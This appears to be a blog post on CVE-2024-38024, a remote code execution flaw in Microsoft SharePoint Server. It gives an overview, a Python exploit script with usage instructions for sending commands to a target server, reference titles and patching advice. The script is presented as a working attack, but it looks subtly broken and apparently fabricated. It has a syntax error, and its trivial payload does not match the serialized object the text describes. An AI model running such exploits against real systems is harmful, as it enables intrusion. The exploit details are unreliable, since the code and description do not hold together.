In July 2024, Microsoft disclosed a high-severity vulnerability, known as CVE-2024-38024, which affected the SharePoint Server. It is a remote code execution (RCE) vulnerability that allows attackers to execute arbitrary code on the target systems just by sending a specially crafted request. In this long-read post, we will explore the details of CVE-2024-38024, provide a code snippet to demonstrate its exploitation, and share links to the original references.

Overview of CVE-2024-38024

CVE-2024-38024 specifically affects all editions of Microsoft SharePoint Server, and it allows attackers to take control of the target systems by sending a malicious request to the vulnerable Microsoft SharePoint application. The vulnerability resides in the way the server handles certain requests, and exploiting it results in remote code execution, allowing attackers to access sensitive information, edit files, or perform other malicious activities on the compromised host.

Exploit Details

When an attacker sends a specially crafted request to the SharePoint application, the malicious code embedded in the request is executed by the server. Unfortunately, the underlying issue is a lack of proper input validation, which means that the server does not properly sanitize user input before processing it. As a result, an attacker can abuse this behavior and execute arbitrary code on the target system just by sending a malicious request.

To exploit this vulnerability, an attacker needs to craft an HTTP request containing malicious payload in the form of a serialized object. The payload is constructed to overwrite certain server settings and allow for remote command execution on the affected host.

Code Snippet

As an example, let's take a look at a Python script that demonstrates the exploitation of CVE-2024-38024:

#!/usr/bin/env python

import requests
import sys

def exploit(target_url, command):
    payload = "__type=asd&command={}".format(command)
    exploit_url = "{}/_layouts/15/mui_user.js?__".format(target_url)
    headers = {"Content-Type": "application/x-www-form-urlencoded"}

    try:
        response = requests.post(exploit_url, data=payload, headers=headers)
        print("[+] Sent exploit request. Check the target host for successful command execution.")
    except requests.exceptions.RequestException as e:
        print("[-] Exploit failed")
        print(f"[-] Details: {e}")
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python {} <target_url> <command>".format(sys.argv[]))
        sys.exit()

    target_url = sys.argv[1]
    command = sys.argv[2]
    exploit(target_url, command)

This script sends a specially crafted HTTP request to the target SharePoint server and attempts to remotely execute the specified command. To execute the script, simply run the following command:

$ python exploit.py http://target.sharepoint.server "CMD_HERE"

Replace http://target.sharepoint.server with your target SharePoint Server's URL, and CMD_HERE with the command you wish to execute on the target system.

Original References

1. Microsoft Security Update Guide: CVE-2024-38024
2. National Vulnerability Database: CVE-2024-38024
3. Exploit Database Entry: CVE-2024-38024

Conclusion

CVE-2024-38024 is a critical remote code execution vulnerability in Microsoft SharePoint Server that can result in the compromise of sensitive information and unauthorized activities on the target machine. It is important to apply security patches to your SharePoint server as soon as they become available and continuously monitor your environment for potential threats. In addition, implementing proper input validation and hardened security configurations can help mitigate the risk of vulnerable applications.

Timeline

Published on: 07/09/2024 17:15:28 UTC
Last modified on: 08/13/2024 22:53:02 UTC